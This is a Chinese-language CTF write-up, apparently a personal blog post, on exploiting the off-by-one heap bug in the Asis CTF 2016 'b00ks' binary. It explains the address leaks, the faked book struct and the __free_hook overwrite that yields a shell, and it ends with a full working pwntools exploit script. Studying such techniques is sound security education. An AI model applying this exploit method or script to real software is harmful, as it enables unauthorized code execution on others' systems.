off by one 利用原理

使用电脑浏览效果更佳!

摘要

​ 记录分析off-by-one(off-by-null,只是覆盖一字节内容不同而已)的漏洞利用原理,使得萌新如我在看ctf-wiki上的pwn的glibc利用手法能够深入的了解off-by-one的原理。此处挑选的是上面的例一:Asis CTF 2016 b00ks进行详细的介绍,说实话,把这道题弄懂确实费了我好多时间,(多少次在放弃heap pwn与断断续续的不甘心中把这道题看完了,一些分析过程中也加深了对Linux下从ELF文件到加载到内存的映射结构的理解,包括动态链接与映射,内存页保护,malloc与mmap的调用分配内存大小的区别 )。不禁想起俞敏洪在演讲中提到的,愚笨的我只能比其他人一遍又一遍的学,终究我也能够学会。

分析过程

堆内存的pwn利用本质

​ 通过伪造内存,在内存控制字段中可以伪造fake_pointer指针,获得指向libc.so映射的地址(如修改 __malloc_hook__free_hook内容为one_gadget或者system(“/bin/bs”)等开shell函数),或者获得指向got表项内存对got表重定位函数地址进行修改。进而控制程序的流程。

安全机制

1563935962453

​ Full RELRO意味着got表项的覆写无法实现对got表的覆写。但可以通过修改 __free_hook 或者 __malloc_hook 进行利用。

定位程序漏洞

​ 自实现的read函数存在off-by-one漏洞

1563936688091

利用步骤

main程序流程

1563936977389

create_book()的heap malloc分配流程

book_name = malloc(v1);

book_description = malloc(v1);

v3 = malloc(0x20uLL);//malloc_book_struct,记录name,description的指针

book_struct(记录book信息)结构体内存

1563936886840

综上一次create_book的内存结构(从上-下:低地址-高地址内存)低内存覆写高内存内容

1563937231525

内存覆写(off-by-one)

1563937413020

关闭地址随机(PIE):

$ cat /proc/sys/kernel/randomize_va_space 
# echo 0 > /proc/sys/kernel/randomize_va_space

从ELF文件加载(映射)到虚拟内存的地址即可通过laod_image_base+offset计算得出真正的地址。如此处.data的全局变量:

内存映射结构:

# cat /proc/pid/maps
pwndbg>vmmap

1563938098964

可以知道:
镜像映射基址为:0x555555554000

libc映射基址为:(动态连接)0x7ffff7a0d000

global_book_array: 0x555555554000 + 0x202060

global_author_name:0x555555554000 + 0x202040

即可以global_author_name 可以向高地址(.data段)多写一字节\x00,通过此可以泄露book1_struct_address (create_book1覆盖了name的字符串结束\x00,通过print(author_name即可泄露),book2_struct_address (由于book2d的book_name,book_descrtiption都大于malloc的上限,即通过mmap进行分配,如上图分析的malloc分配流程,此时heap段记录book2的信息只有malloc(0x20) book_struct,即可以通过已知的book1_struct_address + sizeof(book1_struct)即可计算保存book2信息的结构体在heap的地址,即book1_struct_address+0x30)

init_author_name("A"*32)
create(140,"book1_name",140,"create book1")
  1. 新建book1覆盖32bit author_name结尾\x00,通过print_book泄露book1_struct地址,进而计算book2_struct

    1563946078340

  2. 此时堆的结构

    1563946228818

  3. 通过print_book泄露book1_struct地址,计算book2_struct地址

     # leak book1_struct_address
     print_book_info()
     p.recvuntil("A"*32)
     tmp = p.recvuntil("\x0a")
     book1_struct_address = u64(tmp[:-1].ljust(8,"\x00"))
     book2_struct_address = book1_struct_address + 0x30
  4. 覆盖修改global_author_name,off_by_null覆盖global_book_array的book1_struct_address 0x0000555555758160 为 0x0000555555758100,恰好落在book1的description域内(这也是为什么要140字节的description,使得我们可以伪造一个book1的内存块)

     # create book2,name和description都通过mmap分配,通过获取book2_struct的name指针域获取到libc的地址
     create_book()
    
     # fake book1_struct
     payload = "A"*0x40+p64(1)+p64(book2_struct_address+8)+p64(book2_struct_address+8)+p64(0x8c)
     edit_book_description(1,payload)
    
     change_author_name("A"*32)

    可以看到在create_book2的时候,由于name,description都有mmap分配,堆的内存分布

    1563948500820

    vmmap的内存

    1563948765016

    通过change_author_name的off-by-null伪造的fake-book1

    1563949276135

通过book1_description伪造book1_struct控制写任意内存

泄露libc基址(使得开启PIE也能继续利用)

通过上面内存映射分析与global_author_name的off-by-one漏洞分析中知道,可以通过后create_book1(往global_book_array全局数组)覆盖global_author_name的\x00泄露book_struct结构地址,同时也可以通过修改global_author_name再次覆盖global_book_array数组中的第一项即book1_struct结构体指针低位为\x00,即改小真实的book1_struct地址,使得落入book1_description中,通过book1_description的伪造fake_book1_struct,其中fake_book1_struct->book_name = book2_struct_bookname_ptr(book2_struct_address+8),fake_book1_struct->book_description = book2_struct_bookdescripion_ptr(book2_struct_address+16),但他们实际的内容是mmap函数得到的地址指针,通过打印book1_struct的信息可以泄露出libc的地址(mmap的地址与libc加载的地址有一个固定的偏移)

覆写__free_hook

free(*ptr) 每一次free都会检查__free_hook的存在。此处通过覆写__free_hooksystem()的地址,ptr为‘/bin/bash’字符串的地址,每次free(ptr)即变为了system(“/bin/bash”),即开启一个shell

通过泄露libc基址可以知道,fake_book1_struct的book_description指针指向book2_struct的book_name域,即以该地址以高地址为其fake_book1的description的具体内容,通过修改fake_book1,即可修改book2_struct的book_name指针为”/bin/bash”指针,book2_description指针为__free_hook,在次通过修改book2即可将__free_hook修改为system()的地址,即可达到开shell的目的

  1. 有上一步知道构造的fake_book1的name指针域指向book2的name域(即拿到可控任意内存指针,可以进行覆写)

     edit_book_description(1,p64(binsh_addr)+p64(free_hook))
     # 在修改book1的name_ptr指向的内存(即book2的name_ptr所存地址)为bin_sh_ptr的时候,也覆盖了book2_descripiton指针指向(关联)__free_hook
     edit_book_description(2,p64(system))
     # 接着修改上一步的_free_hook为system函数地址
     delete_book(2)
     # 相当于system(ptr_name) = system(bin_sh_ptr)
  2. 效果如

    1563949863902

分析流程转EXP

#coding:utf-8

from pwn import *

p = process("./b00ks")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def init_author_name(name):
    p.sendlineafter("Enter author name: ",name)

def create_book(name_size,book_name,des_size,description):
    p.sendlineafter("> ","1")
    p.sendlineafter("Enter book name size: ",str(name_size))
    p.sendlineafter("Enter book name (Max 32 chars): ",book_name)
    p.sendlineafter("Enter book description size: ",str(des_size))
    p.sendlineafter("Enter book description: ",description)

def delete_book(idx):
    p.sendlineafter("> ","2")
    p.sendlineafter("Enter the book id you want to delete: ",str(idx))

def edit_book_description(idx,description):
    p.sendlineafter("> ","3")
    p.sendlineafter("Enter the book id you want to edit: ",str(idx))
    p.sendlineafter("Enter new book description: ",description)

def print_book_info():
    # ID: 1
    # Name: tang
    # Description: new book1 edit descript
    # Author: tang
    p.sendlineafter("> ","4")

def change_author_name(name):
    # name max length = 32 off-by-one
    p.sendlineafter("> ","5")
    p.sendlineafter("Enter author name: ",name)

# 泄露book1_struct,book2_struct 地址
init_author_name("A"*32)
create_book(140,"tang",140,"create book1")
pause()
# pwnlib.gdb.attach(proc.pidof(p)[0])

# leak book1_struct_address
print_book_info()
p.recvuntil("A"*32)
tmp = p.recvuntil("\x0a") # print_book补上的一个\n
book1_struct_address = u64(tmp[:-1].ljust(8,"\x00"))
book2_struct_address = book1_struct_address + 0x30

log.info(str(hex(book1_struct_address)))
log.info(str(hex(book2_struct_address)))


create_book(0x22000,"book2 name",0x22000,"create book2")
pause()

#fake book1_description
payload = "A"*0x40+p64(1)+p64(book2_struct_address+8)+p64(book2_struct_address+8)+p64(0x8c)
edit_book_description(1,payload)

change_author_name("B"*32)
pause()

# leak libc address
print_book_info()
p.recvuntil("Name: ")
tmp = p.recvuntil("\x0a")
book2_name_ptr = u64(tmp[:-1].ljust(8,"\x00"))
log.info(str(hex(book2_name_ptr)))

# 关闭PIE后的固定偏移offset计算
libc_base = 0x7ffff7a0d000
mmap_base = 0x7ffff7fb8010 # book2_name_ptr mmap address
offset = mmap_base - libc_base
libcbase = book2_name_ptr - offset
log.info(hex(libcbase))

free_hook = libc.symbols['__free_hook'] + libcbase
system = libc.symbols['system'] + libcbase
binsh_addr = libc.search('/bin/sh').next() + libcbase

edit_book_description(1,p64(binsh_addr)+p64(free_hook)) # 在修改book1的name_ptr指向的内存(即book2的name_ptr所存地址)为bin_sh_ptr的时候,也覆盖了book2_descripiton指针指向(关联)__free_hook
edit_book_description(2,p64(system)) # 接着修改上一步的_free_hook为system函数地址

delete_book(2)
p.interactive()

 上一篇
unlink利用介绍 unlink利用介绍
使用电脑浏览效果更佳! 摘要​ 记录当下加入检查机制的unlink宏一般利用思想,主要在glibc pwn下的unlink利用手法。 分析unlink的工作unlink(AV, P, BK, FD):P是在空闲双向链表中的free
2019-07-25
下一篇 
linux 安全机制 linux 安全机制
使用电脑浏览效果更佳! 操作系统提供了许多安全机制来尝试降低或阻止缓冲区溢出攻击带来的安全风险,包括DEP、ASLR等。在编写漏洞利用代码的时候,需要特别注意目标进程是否开启了DEP(Linux下对应NX)、ASLR [Address
2019-07-22
  目录